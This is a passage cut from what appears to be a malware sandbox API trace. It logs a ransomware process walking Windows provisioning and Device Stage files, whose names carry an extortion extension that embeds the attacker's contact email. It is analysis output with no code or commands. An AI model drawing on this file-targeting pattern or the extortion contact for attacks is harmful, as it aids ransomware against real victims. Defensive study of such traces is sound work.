Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0177.193] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.193] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", dwFileAttributes=0x20) returned 0 [0177.194] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97218) returned 1 [0177.194] RtlExitUserThread (Status=0x0) Thread: id = 2584 os_tid = 0x1268 [0177.195] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.196] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.196] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.196] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.196] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d78) returned 1 [0177.196] RtlExitUserThread (Status=0x0) Thread: id = 2585 os_tid = 0x1270 [0177.197] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.198] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.198] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.198] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.199] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1ed8) returned 1 [0177.199] RtlExitUserThread (Status=0x0) Thread: id = 2586 os_tid = 0x1274 [0177.200] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1650) returned 1 [0177.200] RtlExitUserThread (Status=0x0) Thread: id = 2587 os_tid = 0x1278 [0177.201] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.201] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.202] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.202] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.202] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2010) returned 1 [0177.202] RtlExitUserThread (Status=0x0) Thread: id = 2588 os_tid = 0x1280 [0177.203] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.203] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2148) returned 1 [0177.203] RtlExitUserThread (Status=0x0) Thread: id = 2589 os_tid = 0x12cc [0177.206] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.207] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.207] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2eb0) returned 1 [0177.207] RtlExitUserThread (Status=0x0) Thread: id = 2590 os_tid = 0x12d4 [0177.208] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.208] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.209] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\6__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.209] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\6__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe12a8) returned 1 [0177.209] RtlExitUserThread (Status=0x0) Thread: id = 2591 os_tid = 0x12d8 [0177.210] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.210] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1da0) returned 1 [0177.210] RtlExitUserThread (Status=0x0) Thread: id = 2592 os_tid = 0x12dc [0177.212] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.212] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.212] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.212] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.212] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faba08) returned 1 [0177.212] RtlExitUserThread (Status=0x0) Thread: id = 2593 os_tid = 0x12e0 [0177.213] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.214] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.214] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.214] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.214] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8d660) returned 1 [0177.214] RtlExitUserThread (Status=0x0) Thread: id = 2594 os_tid = 0x12e4 [0177.215] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.215] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.215] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.216] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.216] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8f458) returned 1 [0177.216] RtlExitUserThread (Status=0x0) Thread: id = 2595 os_tid = 0x12f0 [0177.217] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.218] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.218] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.218] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.218] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabb60) returned 1 [0177.218] RtlExitUserThread (Status=0x0) Thread: id = 2596 os_tid = 0x12fc [0177.219] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.219] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.219] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\102__connections_cellular_claro (dominican republic)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.220] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\102__Connections_Cellular_Claro (Dominican Republic)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.220] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabcd8) returned 1 [0177.220] RtlExitUserThread (Status=0x0) Thread: id = 2597 os_tid = 0x1304 [0177.221] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.221] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.221] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\103__connections_cellular_claro (dominican republic)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.221] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\103__Connections_Cellular_Claro (Dominican Republic)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.222] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fabe78) returned 1 [0177.222] RtlExitUserThread (Status=0x0) Thread: id = 2598 os_tid = 0xe8c [0177.223] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.223] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.223] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM 